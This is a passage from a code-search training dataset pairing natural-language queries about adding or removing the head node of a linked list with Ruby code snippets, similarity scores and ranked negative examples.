== node_value\n current_node.get_prev().set_next(current_node.get_next())\n current_node.get_next().set_prev(current_node.get_prev())\n return\n end\n end\n end\n end", "def remove_item(list, item)\n\tlist.delete(item)\n\tlist\nend", "def clean_cached_node(node)\n Puppet::Node.indirection.destroy(node)\n Puppet.info \"#{node}'s cached node removed\"\n end", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def remove(identifier)\n # we want to set the previous next as the current next so that the\n # current is forgotten from the list\n find(identifier) do |previous, current|\n if current == @first_node\n @first_node = current.next\n end\n\n previous.next = current.next\n end\n end", "def remove(list, item)\n\tlist.delete(item)\n\tlist\nend", "def delete_mid_node(myNode)\n current = myNode\n current.value = current.next.value\n current.next = current.next.next\n end", "def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend", "def erase\n @nodes.erase\n end", "def remove_item(item, list)\n\t# steps: delete the item if it exists\n\tlist.delete_if {|list_item| list_item == item.to_sym}\n\t# output: updated list\n\tlist\nend" ]
[ "0.7828169", "0.7667009", "0.75958735", "0.7578272", "0.75130004", "0.7486729", "0.74340457", "0.74335665", "0.74332124", "0.7410218", "0.74037397", "0.7380275", "0.735023", "0.73313725", "0.7330209", "0.7279806", "0.7270355", "0.72691506", "0.7254728", "0.7246497", "0.72446984", "0.72204185", "0.7174197", "0.71627694", "0.71521884", "0.71410036", "0.71186423", "0.7094589", "0.7079336", "0.7078368", "0.70623034", "0.7061156", "0.702206", "0.70200366", "0.7017913", "0.70075005", "0.69962007", "0.69883734", "0.69460213", "0.69448555", "0.69440615", "0.6932893", "0.6904372", "0.6893786", "0.68784076", "0.68775", "0.687174", "0.6850837", "0.68396795", "0.6792438", "0.67497385", "0.67313254", "0.66935796", "0.66846156", "0.6651787", "0.6642391", "0.660106", "0.6592008", "0.6584003", "0.6583945", "0.6561361", "0.65447396", "0.65247196", "0.6501779", "0.64816463", "0.6480634", "0.6439415", "0.64354175", "0.643208", "0.6419596", "0.6415409", "0.64070064", "0.6403904", "0.63827324", "0.6363607", "0.6328749", "0.63282037", "0.632731", "0.6322024", "0.6300056", "0.6297022", "0.62904763", "0.62716305", "0.6264611", "0.62599814", "0.6247879", "0.62456316", "0.6242267", "0.6218872", "0.62142485", "0.62129474", "0.6212106", "0.6206854", "0.6198771", "0.61971736", "0.61907345", "0.61901724", "0.6155695", "0.61472356", "0.6131325" ]
0.6996781
36
This method adds `node` to the front of the list and must set the list's head to `node`.
def add_to_front(node) node.next = @head @head = node end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_to_front(node)\n node.next = self.head # previous head becomes second, after the node\n self.head = node # the node becomes the new head\n if self.tail == nil\n self.tail = node # if the list was empty, then the node is also the new tail\n end\n end", "def add_to_front(node)\n node.set_next(@head)\n @head = node\n end", "def add_to_front(node)\n if (!@head)\n @head = node\n @tail = node\n else\n prior_head = @head\n @head = node\n @head.next = prior_head\n end\n end", "def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end", "def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end", "def add_to_front(node)\n if @head == nil\n return add_to_tail(node)\n else\n old_head = @head\n @head = node\n @head.next = old_head\n return\n end\n end", "def add_to_front(node)\n if @head === nil\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def add_to_front(node)\n temp = @head\n @head = node\n @head.next = temp\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def add_to_front(node)\n if self.head.nil?\n self.head = node\n self.tail = node\n else\n temp = self.head\n self.head = node\n self.head.next = temp\n end\n end", "def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end", "def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end", "def add_to_front(node)\n if @head.nil?\n @tail = node\n else\n node.next = @head\n end\n @head = node\n end", "def add_to_front(node)\n @tail ||= node\n node.next = @head if @head\n @head = node\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def add_to_front(node)\n node.next = self.head\n self.head.nil? && self.tail.nil? ? (self.head = node && self.tail = node) : self.head = node\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n if self.tail == nil && node.next == nil\n self.tail = node\n end\n end", "def add_node_front(input)\n if !@head\n @head = Node.new(input)\n else\n temp = @head\n @head = Node.new(input)\n @head.next = temp\n end\n end", "def prepend(node)\n node.next = @head.next\n @head.next = node\n end", "def add_first(node)\n node.next_node = @head\n @head.prev_node = node unless @head.nil?\n @head = node\n end", "def move_node_to_head(node) \n removed = remove_node(node)\n\n add_head(removed)\n end", "def add_head(node) \n if @head.nil?\n @head = node\n @tail = node\n return\n end\n\n @head.prev_node = node\n node.next_node = @head\n @head = node\n @head.prev_node = nil\n end", "def push_front(nodo)\n\t\tif @head == nil\n\t\t\t@head = Node.new(nodo,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\taux = @head\n\t\t\t@head = Node.new(nodo, aux, nil)\n\t\t\taux.prev = @head\n\t\tend\n\tend", "def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end", "def prepend( value )\n new_node = Node.new value\n\n # Whatever node was at the start of the list, it\n # is now the 'next' node for our newly created node\n new_node.next = @head\n\n # The new head of the list is set to be the new\n # node that we just created\n @head = new_node\n end", "def prepend(node_value = nil)\n node = Node.new(node_value)\n if @head.nil?\n @tail = node\n else\n node.next_node = @head\n end\n @head = node\n end", "def add_node(node)\n node.prev = head\n node.next = head.next\n\n head.next.prev = node\n head.next = node\n end", "def append_to_front(value)\n\t\tif @head\n node = Node.new(value)\n node.next = @head\n @head = node\n\t\telse \n\t\t\t@head = Node.new(value)\n\t\t\t@tail = @head\n end\n @size += 1\n end", "def insertHead(node)\n \n if !@head\n @head = node\n else\n node.next = @head\n @head = node\n end\n \n end", "def prepend(entry)\n node = new_node(entry)\n node.next_node = head\n @head = node\n end", "def prepend(value)\n new_node = create_node(value)\n new_node.next_node = head\n self.head = new_node\n self.size += 1\n end", "def replace_head(node)\n self.head = node\n end", "def prepend(node)\n prv = @prv\n top = self\n while prv\n top = prv\n prv = prv.prv\n end\n node = node.last\n top.prv = node\n node.nxt = top\n node\n end", "def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n old_point = @head\n @head = Node.new(value)\n @head.next = old_point\n # old_next = @head.next\n # p old_next\n # @head = Node.new(value)\n # @head.next = old_next\n # head is hi\n # replace head with new value\n # make head next the hi attribute\n end\n end", "def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end", "def prepend(data)\n\t\t@previous_head = @head\n\t\t@head = Node.new(data, @previous_head)\n\tend", "def prepend(node)\n \t if @root==nil\n @root=node\n @tail=node\n else\n node.next_node=@root\n @root=node\n end\n @size+=1\n end", "def prepend\n new_node = Node.new\n\n if @head.nil?\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil\n else\n new_node.next_node = @head\n @head = new_node\n end\n end", "def prepend(value)\n newNode = Node.new(value)\n if @list == nil\n @list = newNode\n else\n prevList = list\n @list = newNode\n @list.nextNode = prevList\n end\n end", "def prepend(value = nil)\n node = @head\n @head = Node.new(value, node)\n end", "def prepend(x)\n el = ListElement.new(x)\n el.next = @head\n @head = el\n end", "def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n @head = new_node\n @head.next_node = current_node\n end\n end", "def add_at_head(val)\n @list.unshift(val)\n end", "def push_front(data)\n next_node = @head\n temp = Node.new(data, nil, next_node)\n @head = temp\n @size += 1\n end", "def prepend( value )\n new_node = Node.new value\n new_node.next = @head\n @head = new_node\n end", "def insert_head(node)\n if @root_node.nil?\n @root_node = node\n else\n @root_node.set_prev(node)\n node.set_next(@root_node)\n @root_node = node\n end\n current_node = @root_node.get_next()\n while current_node\n current_node = current_node.get_next()\n end\n end", "def unsorted_add(item)\n @head = Node.new(item,@head)\n end", "def insert_before(node, obj)\n obj = obj.value if obj.is_a?(Node)\n node = Node.new(obj)\n\n if @head == node\n @head = new_node\n new_node.next = node\n else\n previous = node.previous\n previous.next = new_node\n new_node.previous = previous\n new_node.next = node\n end\n self\n end", "def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n node.next_node = @head\n @head = node\n end\n end", "def prepend(value)\n #Instantiate the object to be the new head\n new_node = Node.new value\n #Set its next value to the current head\n new_node.next = @head\n @head.before = new_node\n #Set the new one as the new head by repointing SinglyLinkedList head to it\n @head = new_node\n end", "def prepend(value)\n p = Node.new(value);\n p.prev = nil;\n p.next = self.head;\n self.head.prev = p;\n self.head = p;\n end", "def prepend(value)\n node = Node.new\n node.value = value\n node.next = head\n @head = node\n end", "def insert_before(node)\n @prev_node = node.prev_node\n @next_node = node\n node.prev_node.next_node = self\n node.prev_node = self\n self\n end", "def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end", "def prepend(value)\n new_node = Node.new(value)\n new_node.next = @node\n @node = new_node\n end", "def prepend(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, @head)\n\t\t# update head\n\t\t@head = new_node\n\tend", "def unshift(node)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def push_before(node, new_node)\n new_node.previous_node = node.previous_node\n new_node.next_node = node\n node.previous_node.next_node = new_node\n node.previous_node = new_node\n end", "def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n old_head = @head\n @head = node\n @head.next_node = old_head\n end\n end", "def prepend(value)\n @head = Node.new(value, head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n new_node = Node.new(value)\n new_node.next_node = @head\n @head = new_node\n end\n end", "def prepend(value)\n @head = Node.new(value, @head)\n @size += 1\n end", "def prepend(newEntry)\n if @head.nil?\n @head = newEntry\n @tail = newEntry \n else\n newEntry.next = @head \n @head = newEntry\n end \n end", "def insert_front(value)\n if @head\n @head = Node.new(value, nil, @head)\n else\n @head = Node.new(value)\n @tail = @head\n end\n @length += 1\n return @head\n end", "def prepend(value)\n new_node = Node.new(value, @head)\n @tail = new_node unless @head\n @head = new_node\n @size += 1\n end", "def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end", "def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end", "def prepend (number)\n # create a new node\n this_node = Node.new(number)\n \n # make new node point to head, and save it to head\n this_node.next_node = head\n @head = this_node\n end", "def add_first(data) \n @head = Node.new(data, @head)\n end", "def prepend(val)\n new_node = Node.new(val, @head)\n @head = new_node\n end", "def add_first(value)\r\n @head = Node.new(value, @head)\r\n end", "def add_first_node(data)\n\t\t@head = Node.new(data, nil)\n\t\t@last = @head\n\tend", "def prepend(value)\n\t\[email protected]_node = Node.new(value, @head.next_node)\n\tend", "def prepend(data)\n node = Node.new(data)\n node.next_node = @head\n @head = node\n end", "def prepend(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n new_node.next_node = @head\n @head = new_node\n end\n end", "def add_first(data)\n\n new_node = Node.new(data) # create a new node\n new_node.next = @head # assign the new node's NEXT to the @head\n @head = new_node # assign the head position to the new node\n end", "def add_first_node(data)\n @head = Node.new(data, nil)\n @tail = @head\n end", "def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end", "def prepend\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n @head = Node.new\n @head.next_node = @tail\n else\n new_node = Node.new\n new_node.next_node = @head\n @head = new_node\n end\n\n @size += 1\n @head\n end", "def add_first(data)\n @head = Node.new(data, head)\n end", "def add_first(value)\r\n @head = Node.new(value, @head)\r\n end", "def prepend(value)\n node = Node.new\n node.value = value\n \n if @head.nil?\n @head = node\n @tail = node\n else\n node.next_node = @head\n @head = node\n end\n @size += 1\n end", "def add_first(data)\n # Create a new node\n new_node = Node.new(data)\n if @head.nil?\n @head = new_node\n return\n end\n\n new_node.next = @head \n # conection between the new node and the next one that is the head.\n @head = new_node # The new node becomes the head.\n\n end", "def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end", "def add_first(data)\n new_node = Node.new(data, @head)\n\n @head = new_node\n\n return new_node\n end", "def prepend(data)\n new_node = Node.new(data: data)\n new_node.next_node = @head\n @head = Node.new(data: data, next_node: @head)\n end", "def insert_head(node_value)\n # If the SLL is empty, create a node with the given value and set it to head\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, hold the head in a temporary var\n hold = @head\n # Create a new node and set it as the head\n @head = Node.new(node_value)\n # Set the next prop on the new head to point to the hold var\n @head.next = hold\n end\n\n # Increment size by 1, regardless of how many nodes exist\n @size += 1\n # Return the new head; alternatively, return self to make the methods chainable\n @head\n end", "def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end", "def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end", "def prepend(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def move_to_head(node)\n return node if node.nil? or node == @head\n # Only delete the node when it is not a new node\n # Node is new node when its left and right are not assigned\n # and it is not head (checked above)\n node = delete_node(node) if node.left or node.right\n @sem.synchronize do\n node.right = @head\n @head.left = node if @head\n @head = node\n @tail = @head unless @tail\n end\n end", "def prepend(value)\n\t\t\telement = RubyStructures::Node.new(self, value)\n\t\t\telement.next = @head.next\n\t\t\[email protected] = element\n\t\tend", "def prepend(node)\n children.prepend(node)\n end" ]
[ "0.8646671", "0.86239403", "0.85174453", "0.85093665", "0.85093665", "0.8501696", "0.8482765", "0.8475305", "0.844926", "0.844926", "0.844926", "0.84252894", "0.84223384", "0.84223384", "0.84198016", "0.8379058", "0.833121", "0.833121", "0.833121", "0.8299411", "0.8297976", "0.786014", "0.7780819", "0.7759551", "0.7715432", "0.76650804", "0.76190877", "0.7520673", "0.7520673", "0.7395362", "0.73329705", "0.732765", "0.72459716", "0.7244333", "0.72131604", "0.72123843", "0.7199965", "0.71727365", "0.7166326", "0.71613485", "0.7158439", "0.7157755", "0.7154302", "0.7140167", "0.7118583", "0.709408", "0.7091651", "0.70870423", "0.7080764", "0.70655704", "0.7060712", "0.7058702", "0.70544", "0.70443106", "0.70110816", "0.7006793", "0.69979197", "0.69927454", "0.6991575", "0.69872236", "0.698123", "0.6963476", "0.69579", "0.69556814", "0.69512606", "0.69512606", "0.69512606", "0.69458884", "0.6944157", "0.6941376", "0.69348276", "0.692746", "0.69255614", "0.69255614", "0.6920917", "0.691633", "0.69031394", "0.6902034", "0.6899676", "0.68988067", "0.68916255", "0.68907297", "0.68731606", "0.6863878", "0.6851925", "0.6843585", "0.68431103", "0.68424445", "0.6835859", "0.68309546", "0.68271255", "0.68230265", "0.6816837", "0.6804311", "0.67962265", "0.67955863", "0.679147", "0.67807925", "0.6778869", "0.67711186" ]
0.8510079
3
This method removes and returns the first node in the Linked List and must set Linked List's head to the second node.
def remove_front placeholder = @head @head = placeholder.next return placeholder end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_front\n value = self.head # save the first element\n self.head = value.next # the second element becomes the new first element\n value.next = nil # no longer in the list, so no next\n return value\n end", "def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend", "def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif @head != nil\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end", "def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif [email protected]?\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end", "def remove_first\n old_head = @head\n @head = @head.next_node unless @head.nil?\n @head.prev_node = nil unless @head.nil?\n old_head\n end", "def remove_front\n temp_node = @head\n if @head === nil # empty list\n return nil\n elsif @head === @tail # list of 1\n @head = nil\n @tail = nil\n return temp_node\n else\n @head = @head.next\n return temp_node\n end\n end", "def pop_head()\n nodo=@head\n [email protected]\n aux.prev=nil\n @head=aux\n return nodo\n end", "def delete_head\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # Set the head to the original head's next, destroying any reference to the original\n @head = @head.next\n else\n # If the head is the only node, just set its value to nil\n @head.value = nil\n end\n\n # Decrement the SLL by 1 in all cases\n @size -= 1 if size > 0\n # Return the new or empty head\n @head\n end", "def remove_front\n removed_node = self.head\n self.head = self.head.next\n return removed_node\n end", "def remove_first\n raise 'No such element' if @size == 0\n elt = @head.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @head = @head.next\n @head.previous.next = nil\n @head.previous = nil\n end\n @size -= 1\n return elt\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def delete(node)\n if self.head == node # if deleting the head, then the second element becomes\n # the new head\n self.head = node.next\n return node\n end\n\n prev = previous(node) # compute the previous node\n \n if prev != nil\n prev.next = node.next # the previous node now points to the element after node\n end\n \n if self.tail == node # if the node is the last, then the previous becomes the new tail\n self.tail = prev \n end\n\n node.next = nil # no longer in the list, so no next\n return node\n end", "def removeHead\n\t\tif @head != nil\n\t\t\tn = @head\n\t\t\t@head = n.nnode\n\t\t\tn.nnode = nil\n\t\t\treturn n.value\n\t\tend\n\tend", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n end\n\n return data\n end", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n else\n # send to garbage collector\n @head.prev_node = nil\n end\n\n return data\n end", "def pop\n first.next.prev = @head\n @head.next = first.next\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end", "def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend", "def shift\n node = self.double_link_linked_list.delete_head\n node ? node.value : nil\n end", "def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\[email protected] = nil || element.next\n\t\t\telement\n\t\tend", "def removeHead\n if @length == 1\n @head.nextNode = nil\n @tail.val = nil\n @length = 0\n elsif @length > 1\n @head.nextNode = @head.nextNode.nextNode\n @length -= 1\n end\n end", "def remove_front\n temp = self.head\n self.head = self.head.next\n return temp\n end", "def remove_tail\n\n current_node = @head\n if @head == nil #empty lit\n return nil\n end\n if @head.next == nil #list of one\n temp = @head\n @head = nil\n @tail = nil\n return temp\n end\n while(current_node.next.next) #to traverse the list\n current_node = current_node.next\n end\n temp_two = current_node.next\n current_node.next = nil\n @tail = current_node\n return temp_two\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\ttmp = self.head\n\t\t\twhile tmp && tmp.next != node\n\t\t\t\ttmp = tmp.next\n\t\t\tend\n\t\t\ttmp.next = node.next if tmp\n\t\tend\n\t\tself.length -= 1\n\tend", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def pop\n return nil if @head.nil?\n if self.size > 1\n @tail = self.at(self.size-1) \n @tail.next = nil\n else # only 1 node\n @tail = @head = nil\n end\t\n end", "def remove_front\n if [email protected]?\n if @head == @tail\n temp_node = @head\n @head = nil\n @tail = nil\n\n return temp_node\n else\n temp_node = @head\n @head = @head.next\n return temp_node\n end\n else\n nil\n end\n end", "def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend", "def remove_front\n if self.head.nil?\n return nil\n else\n temp = self.head\n self.head = self.head.next\n return temp\n end\n end", "def remove_front\n node = self.head\n if node == self.tail\n self.tail = nil\n end\n self.head = node.next\n node.next = nil\n return node\n end", "def remove (data)\n if @head.data == data\n @head = @head.next # Move head to the next node\n else\n current_node = @head.next # Go the next element\n prev_node = @head\n while current_node\n if current_node.data == data\n prev_node.next = current_node.next\n return @head # Head didnt change\n end\n prev_node = current_node\n current_node = current_node.next\n end\n\n return @head\n end\n end", "def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\tp = node.prev\n\t\t\tn = node.next\n\t\t\tp&.next = n\n\t\t\tn&.prev = p\n\t\tend\n\t\tself.length -= 1\n\tend", "def remove!(other)\n a = head\n b = other.head\n\n while a and b\n\n while a.data < b.data\n prev = a\n a = a.next\n end\n\n while b.data < a.data\n b = b.next\n end\n\n if prev.nil?\n prev = a\n a = a.next\n prev.next = nil\n self.head = a \n b = b.next\n else\n a = a.next\n prev.next = a\n b = b.next\n end\n end\n self\n end", "def delete(node)\n if node == self.head\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n node.next = nil\n return node\n end\n self.head = node.next\n node.next = nil\n return node\n end\n \n self.print\n \n node1 = self.head\n until node1.next == node do\n if node1.next == nil\n return nil # not on the list\n end\n node1 = node1.next\n end\n \n node1.next = node.next\n if node == self.tail\n self.tail = node1\n end\n\n node.next = nil\n return node\n end", "def remove(value)\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\t\t\twhile element.value != value\n\t\t\t\tif element.next.nil?\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\tprevious_element = element\n\t\t\t\t\telement = element.next\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tprevious_element.next = element.next\n\t\t\telement\n\t\tend", "def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end", "def remove_tail\n if self.head == nil\n p \"There isn't anything in the linked list\"\n elsif self.head.data == self.tail.data\n self.head = nil\n self.tail = nil\n else\n temp_node = self.head\n while temp_node.next != self.tail\n temp_node = temp_node.next\n end\n self.tail = temp_node\n end\n end", "def remove(x)\n if x == head\n self.head = head.next\n x.next = nil\n else\n\n el = head\n while el and el != x\n prev = el \n el = el.next\n end\n\n raise ListError, \"Element not found\" unless el\n\n prev.next = el.next\n el.next = nil\n end\n x\n end", "def remove_front\n node = @head\n if @head.eql?(@tail)\n @head = nil\n @tail = nil\n elsif [email protected]?\n @head = node.next\n if @head.next.nil?\n @tail = @head\n end\n end\n return node\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end", "def pop\n node = remove_node(head)\n return nil unless node\n self.size -= 1\n node.data\n end", "def remove_front\n self.head = self.head.next\n end", "def pop\n node = self.double_link_linked_list.delete_tail\n node ? node.value : nil\n end", "def remove(value)\n if head.value == value\n @head = head.next\n else\n current_node = head.next\n prev_node = head\n while current_node\n if current_node.value == value\n prev_node.next = current_node.next\n return\n else\n prev_node = current_node\n current_node = current_node.next\n end\n end\n nil\n end\n end", "def remove_front\n if @head == nil\n return nil\n end\n front = @head\n @head = front.next\n front\n end", "def ll_pop()\n current = @head\n \n if @num_nodes == 0\n return nil\n elsif @num_nodes == 1\n @head = nil\n @tail = nil\n else\n second = @head.get_Next()\n @head = second\n end\n \n @num_nodes -= 1\n return current.get_Data()\n end", "def remove_front\n if self.head == nil\n p \"the linked list is empty\"\n elsif self.head == self.tail\n self.head = nil \n self.tail = nil\n else\n self.head = self.head.next\n end\n end", "def remove_front\n @head = @head.next\n end", "def pop\n last_node = self.tail\n self.at(self.size - 2).next_node = nil\n return last_node\n end", "def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end", "def remove_node(node)\n return nil unless node\n previous_node = node.previous_node\n next_node = node.next_node\n previous_node.next_node = next_node if previous_node\n next_node.previous_node = previous_node if next_node\n self.head = node.next_node if node == head\n node\n end", "def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend", "def delete_tail\n # Create a var to hold the current_node; init with head\n current_node = @head\n\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # AND if that next has a next\n while current_node.next.next\n # Reassign current node to point to its next until current is second to last node\n current_node = current_node.next\n end\n\n # Current is now second to last node\n # Set current's next to nil, destroying the reference to the last node, the tail\n current_node.next = nil\n else\n # If there's just one node, it's both head and tail, set its value to nil\n @head.value = nil\n end\n\n # Decrement in all cases\n @size -= 1 if size > 0\n # Return the new tail or an empty head\n current_node\n end", "def pop\n node = @head\n if @size > 1\n node = node.link until node.link.link.nil?\n node.link = nil\n else \n @head = nil\n end\n @size -= 1\n end", "def pop\n return nil if @head.nil?\n\n to_remove = @head\n @head = @head.next\n to_remove.next = nil\n @count -= 1\n\n to_remove.value\n end", "def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end", "def delete_node this_node\r\n prev_node = this_node.get_prev_node\r\n next_node = this_node.get_next_node\r\n #if the deleted node is currently at the head\r\n if @head == this_node\r\n #set the head to the next node of this node\r\n @head = next_node\r\n #the head will be set to NULL if there's no node after this node (if this node is the only node in the list)\r\n end\r\n #if there's a node before this deleted node\r\n if prev_node != nil\r\n #point the next pointer of the previous node (of the deleted node) to the next node (of the deleted node)\r\n prev_node.set_next_node next_node\r\n end\r\n #if there's a node after this deleted node\r\n if next_node != nil\r\n #point the prev pointer of the next node (of the deleted node) to the previous node (of the deleted node)\r\n next_node.set_prev_node prev_node\r\n end\r\n #OPTIONAL: if the deleted node is at the tail\r\n if @tail == this_node\r\n #update the tail by pointing it to the previous node (of the deleted node)\r\n #this will return NULL if the deleted node is the only node in the list\r\n @tail = prev_node\r\n end\r\n #You can return the list so that you can 